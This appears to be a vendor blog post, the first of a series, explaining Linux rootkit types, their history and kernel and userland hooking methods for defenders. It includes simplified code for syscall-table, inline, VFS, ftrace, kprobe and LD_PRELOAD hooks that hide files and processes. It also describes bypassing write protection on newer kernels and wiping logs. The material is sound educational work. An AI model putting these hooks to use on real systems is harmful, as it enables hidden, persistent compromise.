This is part one of a two-part series on Linux rootkits. In this first installment, we focus on the theory behind how rootkits work: their taxonomy, evolution, and the hooking techniques they use to subvert the kernel. In part two, we shift to the defensive side and dive into detection engineering, covering practical approaches to identifying and responding to these threats in production environments.

What Are Rootkits?

Rootkits are stealthy malware designed to conceal malicious activity, such as files, processes, network connections, kernel modules, or accounts. Their primary purposes are persistence and evasion, allowing attackers to maintain long-term access to high-value targets like servers, infrastructure, and enterprise systems. Unlike other forms of malware, rootkits focus on remaining undetected rather than immediately pursuing objectives.

How Do Rootkits Work?

Rootkits manipulate the operating system to alter how it presents information to users and security tools. They operate in user space or within the kernel. User-space rootkits modify user-level processes using techniques such as LD_PRELOAD or library hijacking. Kernel-space rootkits run with the highest privileges, modifying kernel structures, intercepting syscalls, or loading malicious modules. This deep integration gives them powerful evasion capabilities but increases operational risk.

Why Are Rootkits Difficult to Detect?

Kernel-space rootkits can manipulate core OS functions, subverting security tools and obscuring artifacts from userland visibility. They often leave minimal traces of their presence in the system, avoiding obvious indicators such as new processes or files, making traditional detection difficult. Identifying rootkits often requires memory forensics, kernel integrity checks, or telemetry below the OS level.

Why Rootkits Are a Double-Edged Sword for Attackers

While rootkits offer stealth and control, they carry operational risks. Kernel rootkits must be precisely tailored to kernel versions and environments. Mistakes, such as mishandling memory or incorrectly hooking syscalls, can cause system crashes (kernel panics), immediately exposing the attacker. At the very least, these failures draw unwanted attention to the system—a scenario the attacker is actively trying to avoid to maintain their foothold.

Kernel updates also present challenges: changes to APIs, memory structures, or syscalls can break rootkit functionality, making persistence vulnerable. Detection of suspicious modules or hooks typically triggers deep forensic investigation, as rootkits strongly indicate targeted, high-skill attacks. For attackers, rootkits are high-risk, high-reward tools; for defenders, this fragility offers opportunities for detection through low-level monitoring.

Windows vs Linux Rootkits

The Windows Rootkit Ecosystem

Windows is the primary focus for rootkit development. Attackers exploit kernel hooks, drivers, and undocumented syscalls for hiding malware, stealing credentials, and persistence. A mature research community and widespread usage in enterprise environments drive ongoing innovation, including techniques like DKOM, PatchGuard bypasses, and bootkits.

Robust security tools and Microsoft’s hardening efforts push attackers toward increasingly sophisticated methods. Windows remains attractive due to its dominance on enterprise endpoints and consumer devices.

The Linux Rootkit Ecosystem

Linux rootkits have historically received less attention. Fragmentation across distributions and kernel versions complicates detection and development. While academic research exists, much tooling is outdated, and production Linux environments often lack specialized monitoring.

However, Linux’s role in cloud, containers, IoT, and High Performance Computing has made it a growing target. Real-world Linux rootkits have been observed in attacks on cloud providers, telecoms, and governments. Key challenges for attackers include:

• Diverse kernels hinder cross-distribution compatibility.
• Long uptimes prolong kernel mismatches.
• Security features like SELinux, AppArmor, and module signing increase difficulty.

Unique Linux threats include:

• Containers & Kubernetes: new persistence vectors via container escape.
• IoT devices: outdated kernels with minimal monitoring.
• Production servers: headless systems lacking user interaction, reducing visibility.

With Linux dominating modern infrastructure, rootkits represent an under-monitored yet escalating threat. Improving detection, tooling, and research into Linux-specific techniques is increasingly urgent.

Evolution of Linux Rootkit Implementation Models

Over the past two decades, Linux rootkits have evolved from basic userland techniques to advanced, kernel-resident implants leveraging modern kernel interfaces like eBPF and io_uring. Each stage in this evolution reflects both attacker innovation and defender response, pushing rootkit designs toward greater stealth, flexibility, and resilience.

This section outlines that progression, including key characteristics, historical context, and real-world examples.

Early 2000s: Shared Object (SO) Userland Rootkits

The earliest Linux rootkits operated entirely in user space without requiring kernel modification, relying on techniques like LD_PRELOAD or the manipulation of shell profiles to inject malicious shared objects into legitimate binaries. By intercepting standard libc functions such as opendir, readdir, and fopen, these rootkits could manipulate the output of diagnostic tools like ps, ls, and netstat. While this approach made them easier to deploy, their reliance on userland hooks meant they were limited in stealth and scope compared to kernel-level implants; they were easily disrupted by simple reboots or configuration resets. Prominent examples include the Jynx rootkit (2009), which hooked libc functions to hide files and connections, and Azazel (2013), which combined shared object injection with optional kernel-mode features. The foundational techniques for this dynamic linker abuse were famously detailed in Phrack Magazine #61 back in 2003.

Mid-2000s-2010s: Loadable Kernel Module (LKM) Rootkits

As defenders became adept at spotting userland manipulations, attackers migrated into the kernel space via Loadable Kernel Modules (LKMs). Although LKMs are legitimate extensions, malicious actors utilize them to operate with full privileges, hooking the sys_call_table, manipulating ftrace, or altering internal linked lists to hide processes, files, sockets, and even the rootkit itself. While LKMs offer deep control and powerful concealment capabilities, they face significant scrutiny in hardened environments. They are detectable via tainted kernel states, listings in /proc/modules, or specialized LKM scanners, and are increasingly hindered by modern defenses like Secure Boot, module signing, and Linux Security Modules (LSMs). Classic examples of this era include Adore-ng (2004+), a syscall-hooking LKM capable of hiding itself; Diamorphine (2016), a popular hooker that remains functional on many distributions; and Reptile (2020), a modern variant featuring backdoor capabilities.

Late 2010s: eBPF-Based Rootkits

To evade the growing detection of LKM-based threats, attackers began abusing eBPF, a subsystem originally built for safe packet filtering and kernel tracing. Since Linux 4.8+, eBPF has evolved into a programmable in-kernel virtual machine capable of attaching code to syscall hooks, kprobes, tracepoints, or Linux Security Module events. These implants run in kernel space but avoid traditional module loading, allowing them to bypass standard LKM scanners like rkhunter and chkrootkit, as well as Secure Boot restrictions. Because they do not appear in /proc/modules and are essentially invisible to typical module audit mechanisms, they require CAP_BPF or CAP_SYS_ADMIN (or rare unprivileged BPF access) to deploy. This era is defined by tools like Triple Cross (2022), a proof-of-concept that injects eBPF programs to hook syscalls like execve, and Boopkit (2022), which implements a covert C2 channel entirely via eBPF, alongside numerous Defcon presentations exploring the topic.

2025s and Beyond: io_uring-Based Rootkits (Emerging)

The most recent evolution capitalizes on io_uring, a high-performance asynchronous I/O interface introduced in Linux 5.1 (2019) that allows processes to batch system operations via shared memory rings. While designed to reduce syscall overhead for performance, red teamers have demonstrated that io_uring can be abused to create stealthy userland agents or kernel-context rootkits that evade syscall-based EDRs. By using io_uring_enter to batch file, network, and process operations, these rootkits produce far fewer observable syscall events, frustrating traditional detection mechanisms and avoiding the restrictions placed on LKMs and eBPF. Although still experimental, examples like RingReaper (2025), which uses io_uring to stealthily replace common syscalls like read, write, connect, and unlink, and research by ARMO highlight this as a highly promising vector for future rootkit development that is hard to trace without custom instrumentation.

The Linux rootkit design has consistently adapted in response to better defenses. As LKM loading becomes more difficult and syscall auditing becomes more advanced, attackers have turned to alternative interfaces such as eBPF and io_uring. With this evolution, the battle is no longer just about detection, but about understanding the mechanisms rootkits use to blend into the system’s core, starting with their hooking strategies and internal architecture.

##Rootkit Internals and Hooking Techniques

Understanding the architecture of Linux rootkits is essential for detection and defense. Most rootkits follow a modular design with two main components:

• Loader: Installs or injects the rootkit and may establish persistence. While not strictly necessary, a separate loader component is often seen in malware infection chains that deploy rootkits.
• Payload: Performs malicious actions such as hiding files, intercepting syscalls, or covert communications.

Payloads rely heavily on hooking techniques to alter execution flow and achieve stealth.

Rootkit Loader Component

The loader is the component responsible for transferring the rootkit into memory, initializing its execution, and in many cases, establishing persistence or escalating privileges. Its role is to bridge the gap between initial access (e.g., via exploit, phishing, or misconfiguration) and full rootkit deployment.

Depending on the rootkit model, the loader may operate entirely in user space, interact with the kernel through standard system interfaces, or bypass operating system protections altogether. Broadly, loaders can be categorized into three classes: malware-based droppers, userland rootkit initializers, and custom kernel-space loaders. Additionally, rootkits may be loaded manually by an attacker through userspace tooling such as insmod.

Malware-Based Droppers

Malware droppers are lightweight programs, often deployed after initial access, whose sole purpose is to download or unpack a rootkit payload and execute it. These droppers typically operate in user space but escalate privileges and interact with kernel-level features.

Common techniques include:

• Module injection: Writing a malicious .ko file to disk and invoking insmod or modprobe to load it as a kernel module.
• Syscall wrapper: Using a wrapper around init_module() or finit_module() to load an LKM directly through syscalls.
• In-memory injection: Leveraging interfaces such as ptrace or memfd_create, often avoiding disk artifacts.
• BPF-based loading: Using utilities like bpftool, tc, or direct bpf() syscalls to load and attach eBPF programs to kernel tracepoints or LSM hooks.

Userland Loaders

In the case of Shared Object rootkits, the loader may be limited to modifying user configuration or environment settings:

• Dynamic linker abuse: Setting LD_PRELOAD=/path/to/rootkit.so allows the malicious shared object to override libc functions when the target binary executes.
• Persistence via profile modification: Inserting preload configurations into .bashrc, .profile, or global files such as /etc/profile ensures continued execution across sessions.

While these loaders are trivial in implementation, they remain effective in weakly defended environments or as part of multi-stage infection chains.

Custom Kernel Loaders

Advanced rootkits may include custom kernel loaders designed to bypass standard module loading paths entirely. These loaders interact directly with low-level kernel interfaces or memory devices to write the rootkit into memory, often evading kernel audit logs or module signature verification.

For example, Reptile includes a userspace binary as a loader, allowing it to load the rootkit without invoking insmod or modprobe; however, it still relies on the init_mod syscall for loading the module into memory.

Additional Loader Capabilities

The malware loader often assumes an expanded role beyond simple initialization, becoming a multifunctional component of the attack chain. A key step for these advanced loaders is Elevating Privileges, in which they seek root access before loading the primary payload, often by exploiting local kernel vulnerabilities, a common tactic exemplified by the "Dirty Pipe" vulnerability (CVE-2022-0847). Once privileges are secured, the loader is then tasked with covering tracks. This involves a process of wiping evidence of execution by clearing entries from critical files like bash_history, kernel logs, audit logs, or the system's main syslog. Finally, to guarantee re-execution upon system restart, the loader ensures persistence by installing mechanisms such as systemd units, cron jobs, udev rules, or modifications to initialization scripts. These multifunctional behaviors often blur the distinction between a mere "loader" and full-fledged malware, especially in complex, multi-stage infections.

Payload Component

The payload delivers core functionality: stealth, control, and persistence. There are several primary methods an attacker might use. User-space payloads, often referred to as SO rootkits, operate by hijacking standard C library functions like readdir or fopen via the dynamic linker. This allows them to manipulate the output of common system tools such as ls, netstat, and ps. While they are generally easier to deploy, their operational scope is limited.

In contrast, kernel-space payloads operate with full system privileges. They can hide files and processes directly from /proc, manipulate the networking stack, and modify kernel structures. A more modern approach involves eBPF-based rootkits, which leverage in-kernel bytecode attached to syscall tracepoints or Linux Security Module (LSM) hooks. These kits offer stealth without requiring out-of-tree modules, making them particularly effective in environments with Secure Boot or module signing policies. Tools like bpftool simplify their loading, thereby complicating detection. Finally, io_uring-based payloads exploit asynchronous I/O batching via io_uring_enter (available in Linux 5.1 and later) to bypass traditional syscall monitoring. This allows for stealthy file, network, and process operations while minimizing telemetry exposure.

Linux Rootkits – Hooking Techniques

Building on that essential foundation, we now turn to the core of most rootkit functionality: hooking. At its essence, hooking involves intercepting and altering the execution of functions or system calls to conceal malicious activity or inject new behaviors. By diverting the normal flow of code, rootkits can hide files and processes, filter out security events, or secretly monitor the system, often without leaving obvious clues. Hooking can be implemented in both userland and kernel space, and over the years, attackers have devised numerous hooking techniques, from legacy methods to modern evasive maneuvers. In this part, we will provide a deep dive into common hooking techniques used by Linux rootkits, illustrating each method with examples and real-world rootkit samples (such as Reptile, Diamorphine, PUMAKIT, and, more recently, FlipSwitch) to understand how they work and how kernel evolution has challenged them.

The Concept of Hooking

At a high level, hooking is the practice of intercepting a function or system call invocation and redirecting it to malicious code. By doing so, a rootkit can modify the returned data or behavior to hide its presence or tamper with system operations. For example, a rootkit might hook the syscall that lists files in a directory (getdents), making it skip over any filenames that match the rootkit’s own files, thus making those files “invisible” to user commands like ls.

Hooking is not confined to kernel internals; it can also occur in user space. Early Linux rootkits operated entirely in userland by injecting malicious shared objects into processes. Techniques like using the dynamic linker’s LD_PRELOAD environment variable allow a rootkit to override standard C library functions (e.g., getdents, readdir, and fopen) in user programs. This means when a user runs a tool like ps or netstat, the rootkit’s injected code intercepts calls to list processes or network connections and filters out the malicious ones. These userland hooks require no kernel privileges and are relatively simple to implement.

Notable examples include JynxKit (2012) and Azazel (2014), user-mode rootkits that hook dozens of libc functions to hide processes, files, network ports, and even enable backdoors. However, userland hooking has significant limitations: it’s easier to detect and remove, and it lacks the deep control that kernel-level hooks have. As a result, most modern and “in the wild” Linux rootkits have shifted to kernel space hooking, despite the higher complexity and risk, because kernel hooks can comprehensively trick the operating system and security tools at a low level.

In the kernel, hooking typically means altering kernel data structures or code so that when the kernel tries to execute a particular operation (say, open a file or make a system call), it invokes the rootkit’s code instead of (or in addition to) the legitimate code. Over the years, Linux kernel developers have introduced stronger protections to guard against unauthorized modifications, but attackers have responded with increasingly sophisticated hooking methods. Below, we’ll examine the major hooking techniques in kernel space, starting from older methods (now largely obsolete) and progressing to modern techniques that attempt to bypass contemporary kernel defenses. Each subsection will explain the technique, show a simplified code example, and discuss its usage in known rootkits and its limitations given today’s Linux safeguards.

Hooking Techniques in the Kernel

Interrupt Descriptor Table (IDT) Hooking

One of the earliest kernel hooking tricks on Linux was to target the Interrupt Descriptor Table (IDT). On 32-bit x86 Linux, system calls used to be invoked via a software interrupt (int 0x80). The IDT is a table that maps interrupt numbers to handler addresses. By modifying the IDT entry for 0x80, a rootkit could hijack the system call entry point before the kernel’s own system call dispatcher gets control. In other words, when any program triggered a syscall via int 0x80, the CPU would jump to the rootkit’s custom handler first, allowing the rootkit to filter or redirect calls at the very lowest level. Below is a simplified code example of IDT hooking (for illustration purposes):

// Install the IDT hook
static int install_idt_hook(void) {
    // Get pointer to IDT table
    idt_table = get_idt_table();

    // Save original syscall handler (int 0x80 = entry 128)
    original_syscall_entry = idt_table[0x80];

    // Calculate original handler address
    original_syscall_handler = (void*)(
        (original_syscall_entry.offset_high << 16) |
        original_syscall_entry.offset_low
    );

    // Install our hook
    idt_table[0x80].offset_low = (unsigned long)custom_int80_handler & 0xFFFF;
    idt_table[0x80].offset_high =
        ((unsigned long)custom_int80_handler >> 16)
        & 0xFFFF;

    // Keep same selector and attributes as original
    // idt_table[0x80].selector and type_attr remain unchanged

    printk(KERN_INFO "IDT hook installed at 0x80\n");
    return 0;
}

The above code sets a new handler for interrupt 0x80, redirecting execution flow to the rootkit’s handler before any syscall handling occurs. This allows the rootkit to intercept or modify syscall behavior entirely below the level of the syscall table. IDT hooking is used by educational and older rootkits such as SuckIT.

IDT hooking is mostly a historical technique now. It only worked on older Linux systems that use the int 0x80 mechanism (32-bit x86 kernels before Linux 2.6). Modern 64-bit Linux uses the sysenter/syscall instructions instead of the software interrupt, so the IDT entry for 0x80 is no longer used for system calls. Additionally, IDT hooking is highly architecture-specific (x86 only) and is not effective on modern kernels with x86_64 or other architectures.

Syscall Table Hooking

Syscall table hooking is a classic rootkit technique that involves modifying the kernel's system call dispatch table, known as the sys_call_table. This table is an array of function pointers where each entry corresponds to a specific syscall number. By overwriting a pointer in this table, an attacker can redirect a legitimate syscall, such as getdents64, kill, or read, to a malicious handler. An example is displayed below.

asmlinkage int (*original_getdents64)(
    unsigned int,
    struct linux_dirent64 __user *,
    unsigned int);

asmlinkage int hacked_getdents64(
    unsigned int fd,
    struct linux_dirent64 __user *dirp,
    unsigned int count)
{
    int ret = original_getdents64(fd, dirp, count);
    // Filter hidden entries from dirp
    return ret;
}

write_cr0(read_cr0() & ~0x10000); // Disable write protection
sys_call_table[__NR_getdents64] = hacked_getdents64;
write_cr0(read_cr0() | 0x10000); // Re-enable write protection

In the example, to modify the table, a kernel module would first need to disable write protection on the memory page where the table resides. The following assembly code (as seen in Diamorphine) demonstrates how the 20th bit (Write Protect) of the CR0 control register can be cleared, even though the write_cr0 function is no longer exported to modules:

static inline void
write_cr0_forced(unsigned long val)
{
    unsigned long __force_order;

    asm volatile(
        "mov %0, %%cr0"
        : "+r"(val), "+m"(__force_order));
}

Once write protection is disabled, the address of a syscall in the table can be replaced with the address of a malicious function. After the modification, write protection is re-enabled. Notable examples of rootkits that used this technique include Diamorphine, Knark, and Reveng_rtkit. Syscall table hooking has several limitations:

• Kernel hardening (since 2.6.25) hides sys_call_table.
• Kernel memory pages were made read-only (CONFIG_STRICT_KERNEL_RWX).
• Security features like Secure Boot and the kernel lockdown mechanism can hinder modifications to CR0.

The most definitive mitigation came with Linux kernel 6.9, which fundamentally changed how syscalls are dispatched on the x86-64 architecture. Before version 6.9, the kernel executed syscalls by directly looking up the handler in the sys_call_table array:

// Pre-v6.9 Syscall Dispatch
asmlinkage const sys_call_ptr_t sys_call_table[] = {
    #include <asm/syscalls_64.h>
};

Starting with kernel 6.9, the syscall number is used in a switch statement to find and execute the appropriate handler. The sys_call_table still exists but is only populated for compatibility with tracing tools and is no longer used in the syscall execution path.

// Kernel v6.9+ Syscall Dispatch
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
    switch (nr) {
    #include <asm/syscalls_64.h>
    default: return __x64_sys_ni_syscall(regs);
    }
};

As a result of this architectural change, overwriting function pointers in the sys_call_table on kernels 6.9 and newer does not affect syscall execution, rendering the technique entirely ineffective. While this led us to assume that syscall table patching was no longer viable, we recently published the FlipSwitch technique, which demonstrates that this vector is far from dead. This method leverages specific register manipulation gadgets to momentarily disable kernel write-protection mechanisms, effectively allowing an attacker to bypass the "immutability" of the modern syscall path and reintroduce hooks even within these hardened environments.

Instead of targeting the data-based sys_call_table, FlipSwitch focuses on the compiled machine code of the kernel's new syscall dispatcher function, x64_sys_call. Because the kernel now uses a massive switch-case statement to execute syscalls, each syscall has a hardcoded call instruction within the dispatcher's binary. FlipSwitch scans the memory of the x64_sys_call function to locate the specific "signature" of a target syscall, typically an 0xe8 opcode (the CALL instruction) followed by a 4-byte relative offset that points to the original, legitimate handler.

Once this call site is identified within the dispatcher, the rootkit uses gadgets to clear the Write Protect (WP) bit in the CR0 control register, granting temporary write access to the kernel's executable code segments. The original relative offset is then overwritten with a new offset pointing to a malicious, adversary-controlled function. This effectively "flips the switch" at the point of dispatch, ensuring that whenever the kernel attempts to execute the target syscall through its modern switch-statement path, it is redirected to the rootkit instead. This enables reliable, precise syscall interception that persists despite the 6.9 kernel’s architectural hardening.

Inline Hooking / Function Prologue Patching

Inline hooking is an alternative to hooking via pointer tables. Instead of modifying a pointer in a table, inline hooking patches the code of the target function itself. The rootkit writes a jump instruction at the start (prologue) of a kernel function, which diverts execution to the rootkit’s own code. This technique is akin to function hot-patching or the way user-mode hooks on Windows work (e.g., modifying the first bytes of a function to jump to a detour).

For example, a rootkit might target a kernel function like do_sys_open (which is part of the open file syscall handling). By overwriting the first few bytes of do_sys_open with an x86 JMP instruction to malicious code, the rootkit ensures that whenever do_sys_open is called, it jumps into the rootkit’s routine instead. The malicious routine can then execute whatever it wants (e.g., check if the filename to open is on a hidden list and deny access), and optionally call the original do_sys_open to proceed with normal behavior for non-hidden files.

unsigned char *target = (unsigned char *)kallsyms_lookup_name("do_sys_open");
unsigned long hook = (unsigned long)&malicious_function;
int offset = (int)(hook - ((unsigned long)target + 5));
unsigned char jmp[5] = {0xE9};
memcpy(&jmp[1], &offset, 4);

// Memory protection omitted for brevity
memcpy(target, jmp, 5);

asmlinkage long malicious_function(
    const char __user *filename,
    int flags, umode_t mode) {
    printk(KERN_INFO "do_sys_open hooked!\n");
    return -EPERM;
}

This code overwrites the beginning of do_sys_open() with a JMP instruction that redirects execution to malicious code. The open-source rootkit Reptile extensively uses inline function patching via a custom framework called KHOOK (which we will discuss shortly).

Reptile’s inline hooks target functions like sys_kill and others, enabling backdoor commands (e.g., sending a specific signal to a process triggers the rootkit to elevate privileges or hide the process). Another example is Suterusu, which also applied inline patching for some of its hooks.

Inline hooking is fragile and high-risk: overwriting a function’s prologue is sensitive to kernel version and compiler differences (so hooks often need per-build patches or runtime disassembly), it can easily crash the system if instructions or concurrent execution aren’t handled correctly, and it requires bypassing modern memory protections (W^X, CR0 WP, module signing/lockdown) or exploiting vulnerabilities to make kernel text writable.

Virtual Filesystem Hooking

The Virtual Filesystem (VFS) layer in Linux provides an abstraction for file operations. For example, when you read a directory (like ls /proc), the kernel will eventually call a function to iterate over directory entries. File systems define their own file_operations with function pointers for actions like iterate_shared (to list directory contents) or read/write for file I/O. VFS hooking involves replacing these function pointers with rootkit-provided functions to manipulate how the filesystem presents data.

In essence, a rootkit can hook into the VFS to hide files or directories by filtering them out of directory listings. A common trick: hook the function that iterates directory entries, and make it skip any file names that match a certain pattern. The file_operations structure for directories (particularly in /proc or /sys) is a frequent target, since hiding malicious processes often involves hiding entries under /proc/<pid>.

Consider this example hook for a directory listing function:

static iterate_dir_t original_iterate;

static int malicious_filldir(
    struct dir_context *ctx,
    const char *name, int namelen,
    loff_t offset, u64 ino,
    unsigned int d_type)
{
    if (!strcmp(name, "hidden_file"))
        return 0; // Skip hidden_file
    return ctx->actor(ctx, name, namelen, offset, ino, d_type);
}

static int malicious_iterate(struct file *file, struct dir_context *ctx)
{
    struct dir_context new_ctx = *ctx;
    new_ctx.actor = malicious_filldir;
    return original_iterate(file, &new_ctx);
}

// Hook installation
file->f_op->iterate = malicious_iterate;

This replacement function filters out hidden files during directory listing operations. By hooking at the VFS level, the rootkit doesn’t need to tamper with system call tables or low-level assembly; it simply piggybacks on the filesystem interface. Adore-NG, a once-popular Linux rootkit, employed VFS hooking to hide files and processes. It patched the function pointers for directory iteration to conceal entries for specific PIDs and filenames. Many other kernel rootkits have similar code to hide themselves or their artifacts via VFS hooks.

VFS hooking is still widely used, but it has limitations due to changes in kernel structure offsets between versions, which can lead to hooks breaking.

Ftrace-Based Hooking

Modern Linux kernels include a powerful tracing framework called ftrace (function tracer). Ftrace is intended for debugging and performance analysis, allowing one to attach hooks (callbacks) to almost any kernel function entry or exit without modifying the kernel code directly. It works by dynamically modifying kernel code at runtime in a controlled manner (often by patching in a lightweight trampoline that calls the tracing handler). Importantly, ftrace provides an API for kernel modules to register trace handlers, as long as certain conditions are met (like having the kernel built with ftrace support and the debugfs interface available).

Rootkits have started abusing ftrace to implement hooks in a less obvious way. Instead of manually writing a JMP into a function, a rootkit can ask the kernel’s ftrace machinery to do it on its behalf; essentially “legitimizing” the hook. This means the rootkit doesn’t have to find the function’s address or modify page protections; it simply registers a callback for the function name it wants to intercept, and the kernel installs the hook.

Here’s a simplified example of using ftrace to hook the mkdir system call handler:

static int __init hook_init(void) {
    target_addr = kallsyms_lookup_name(SYSCALL_NAME("sys_mkdir"));
    if (!target_addr) return -ENOENT;
    real_mkdir = (void *)target_addr;

    ops.func = ftrace_thunk;
    ops.flags = FTRACE_OPS_FL_SAVE_REGS
        | FTRACE_OPS_FL_RECURSION_SAFE
        | FTRACE_OPS_FL_IPMODIFY;

    if (ftrace_set_filter_ip(&ops, target_addr, 0, 0)) return -EINVAL;
    return register_ftrace_function(&ops);
}

This hook intercepts the sys_mkdir function and reroutes it through a malicious handler. Recent rootkits such as KoviD, Singularity, and Umbra have utilized ftrace-based hooks. These rootkits register ftrace callbacks on various kernel functions (including syscalls) to either monitor or manipulate them.

The main advantage of ftrace hooking is that it leaves no obvious footprints in global tables or patched code. The hooking is done via legitimate kernel interfaces. To an untrained eye, everything looks normal; sys_call_table is intact, function prologues are not manually overwritten by the rootkit (they are overwritten by the ftrace mechanism, but that is a common and allowed occurrence in a kernel with tracing enabled). Also, ftrace hooks can often be enabled/disabled on the fly and are inherently less intrusive than manual patching.

While ftrace hooking is powerful, it’s constrained by environment and privilege boundaries (if used from outside the kernel). It requires access to the tracing interface (debugfs) and CAP_SYS_ADMIN privileges, which may be unavailable on hardened or containerized systems where even UID 0 is restricted by namespaces, LSMs, or Secure Boot lockdown policies. Debugfs may also be unmounted or read-only in production for security reasons. Thus, while a fully privileged root user can typically use ftrace, modern defenses often disable or limit these capabilities, reducing the practicality of ftrace-based hooks in highly hardened environments.

Kprobes Hooking

Kprobes is another kernel feature intended for debugging and instrumentation, which attackers have repurposed for rootkit hooking. Kprobes allow one to dynamically break into almost any kernel routine at runtime by registering a probe handler. When the specified instruction is about to execute, the kprobe infrastructure saves state and transfers control to the custom handler. After the handler runs (you can even alter registers or the instruction pointer), the kernel resumes normal execution of the original code. In simpler terms, kprobes let you attach a custom callback to an arbitrary point in kernel code (function entry, specific instruction, etc.), somewhat like a breakpoint with a handler.
Using kprobes for malicious hooking usually involves intercepting a function to either prevent it from doing something or to grab some info. A common use in modern rootkits: since many important symbols (like sys_call_table or kallsyms_lookup_name) are no longer exported, a rootkit can deploy a kprobe on a function that does have access to that symbol and steal it. A kprobe structure and registration are shown below.

// Declare a kprobe targeting the symbol "kallsyms_lookup_name"
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};

// Function pointer type matching kallsyms_lookup_name
typedef unsigned long
    (*kallsyms_lookup_name_t)(const char *name);

// Global pointer to the resolved kallsyms_lookup_name
kallsyms_lookup_name_t kallsyms_lookup_name;

// Register the kprobe; kernel resolves kp.addr
// to the address of the symbol
register_kprobe(&kp);

// Assign resolved address to our function pointer
kallsyms_lookup_name =
    (kallsyms_lookup_name_t) kp.addr;

// Unregister the kprobe (only needed it once)
unregister_kprobe(&kp);

This probe is used to retrieve the symbol name for kallsyms_lookup_name, typically a precursor to syscall table hooking. Although not present in the initial commits, a recent update to Diamorphine used this technique. It places a kprobe to grab the pointer of kallsyms_lookup_name itself (or uses a kprobe on a known function to indirectly get what it needs). Similarly, other rootkits use a temporary kprobe to locate symbols, then unregister it once done, moving on to perform hooks via other means. Kprobes can also be used to directly hook behavior (not just find addresses). Or a jprobe (a specialized kprobe) can redirect a function entirely. However, using kprobes to fully replace functionality is tricky and not commonly done, because it’s simpler to either patch or use ftrace if you want to consistently hijack a function. Kprobes are often used for intermittent or auxiliary hooking.

Kprobes are useful but limited: they add runtime overhead and can destabilize systems if placed on very hot or restricted low-level functions (recursive probes are suppressed), so attackers must pick probe points carefully; they’re also auditable and can trigger kernel warnings or be logged by system auditing, and active probes are viewable under /sys/kernel/debug/kprobes/list (so unexpected entries are suspicious); some kernels may be built without kprobe/debug support.

Kernel Hook Framework

As mentioned earlier, with the Reptile rootkit, attackers sometimes create higher-level frameworks to manage their hooks. Kernel Hook (KHOOK) is one such framework (developed by the author of Reptile) that abstracts away the dirty work of inline patching and provides a cleaner interface for rootkit developers. Essentially, KHOOK is a library that allows you to specify a function to hook and your replacement, and it handles modifying the kernel code while providing a trampoline to call the original function safely. To illustrate, here’s an example of how one might use a KHOOK-like macro (based on Reptile’s usage) to hook the kill syscall:

// Creates a replacement for sys_kill:
// long sys_kill(long pid, long sig)
KHOOK_EXT(long, sys_kill, long, long);

static long khook_sys_kill(long pid, long sig) {
    // Signal 0 is used to check if a process
    // exists (without sending a signal)
    if (sig == 0) {
        // If the target is invisible (hidden by
        // a rootkit), pretend it doesn't exist
        if (is_proc_invisible(pid)) {
            return -ESRCH; // No such process
        }
    }

    // Otherwise, forward the call to the original sys_kill syscall
    return KHOOK_ORIGIN(sys_kill, pid, sig);
}

KHOOK operates via inline function patching, overwriting function prologues with a jump to attacker-controlled handlers. The example above illustrates how sys_kill() is redirected to a malicious handler if the kill signal is 0.

Although KHOOK simplifies inline patching, it still inherits all its drawbacks: it modifies kernel text to insert jump stubs, so protections like kernel lockdown, Secure Boot, or W^X can block it. They are also architecture- and version-dependent (commonly limited to x86 and fails on kernel 5.x+), making them fragile across builds.

Hooking Techniques in Userspace

Userspace hooking is a technique that targets the libc layer, or other shared libraries accessed via the dynamic linker, to intercept common API calls used by user tools. Examples of these calls include readdir, getdents, open, fopen, fgets, and connect. By interposing replacement functions, an attacker can manipulate ordinary userland tools like ps, ls, lsof, and netstat to return altered or "sanitized" views. This is used to conceal processes, files, sockets, or hide evidence of malicious code.

The common methods for implementing this mirror how the dynamic linker resolves symbols or involve modifying process memory. These methods include using the LD_PRELOAD environment variable or LD_AUDIT to force an early load of a malicious shared object (.so) file, modifying ELF DT_* entries or library search paths to prioritize a hostile library, or performing runtime GOT/PLT overwrites within a process. Overwriting the GOT/PLT typically involves changing memory protection settings (mprotect), writing the new code (write), and then restoring the original settings (restore) after injection.

A hooked function usually calls the real libc symbol using dlsym(RTLD_NEXT, ...) for its normal operation. It then filters or alters the results only for targets it intends to hide. A basic example of a LD_PRELOAD filter for the readdir() function is shown below.

#define _GNU_SOURCE       // GNU extensions (RTLD_NEXT)
#include <dlfcn.h>        // dlsym(), RTLD_NEXT
#include <dirent.h>       // DIR, struct dirent, readdir()
#include <string.h>       // strstr()

// Pointer to the original readdir()
static struct dirent *(*real_readdir)(DIR *d);

struct dirent *readdir(DIR *d) {
    if (!real_readdir) // resolve original once
        real_readdir =
            dlsym(RTLD_NEXT, "readdir");
    struct dirent *ent;
    // Fetch next dir entry from real readdir
    while ((ent = real_readdir(d)) != NULL) {
        // If name contains the secret marker,
        // skip this entry (hide it)
        if (strstr(ent->d_name, ".secret"))
            continue;
        return ent; // return visible entry
    }
    return NULL; // no more entries
}

This example replaces readdir() in-process by providing a library resolved before the real libc, effectively hiding filenames that match a filter. Historic user-mode hiding tools and lightweight “rootkits” have used LD_PRELOAD or GOT/PLT patching to hide processes, files, and sockets. Attackers also inject shared objects into specific services to achieve targeted stealth without needing kernel modules.

Userspace interposition affects only processes that load the malicious library (or are injected into). It’s fragile for system-wide persistence (service/unit files, sanitized environments, setuid/static binaries complicate it). Detection is straightforward relative to kernel hooks: check for suspicious LD_PRELOAD/LD_AUDIT entries, unexpected mapped shared objects in /proc/<pid>/maps, mismatches between on-disk libraries and in-memory imports, or altered GOT entries. Integrity tools, service supervisors (systemd), and simple process memory inspection will usually expose this technique.

Hooking Techniques Using eBPF

A more recent rootkit implementation model involves the abuse of eBPF (extended Berkeley Packet Filter). eBPF is a subsystem in Linux that allows privileged users to load bytecode programs into the kernel. While often described as a "sandboxed VM," its security actually relies on a static verifier that ensures the bytecode is safe (no infinite loops, no illegal memory access) before it is JIT-compiled into native machine code for near-zero-latency execution.

Instead of inserting an LKM to modify kernel behavior, an attacker can load one or more eBPF programs that attach to sensitive kernel events. For instance, one can write an eBPF program that attaches to the system call entry for execve (via a kprobe or tracepoint), allowing it to monitor or manipulate process execution. Similarly, eBPF can hook at the LSM layer (like program execution notifications) to prevent certain actions or hide them. An example is displayed below.

// Attach this eBPF program to the tracepoint for sys_enter_execve
SEC("tp/syscalls/sys_enter_execve")
int tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) {
    // Get the current process's PID and TID as a 64-bit value
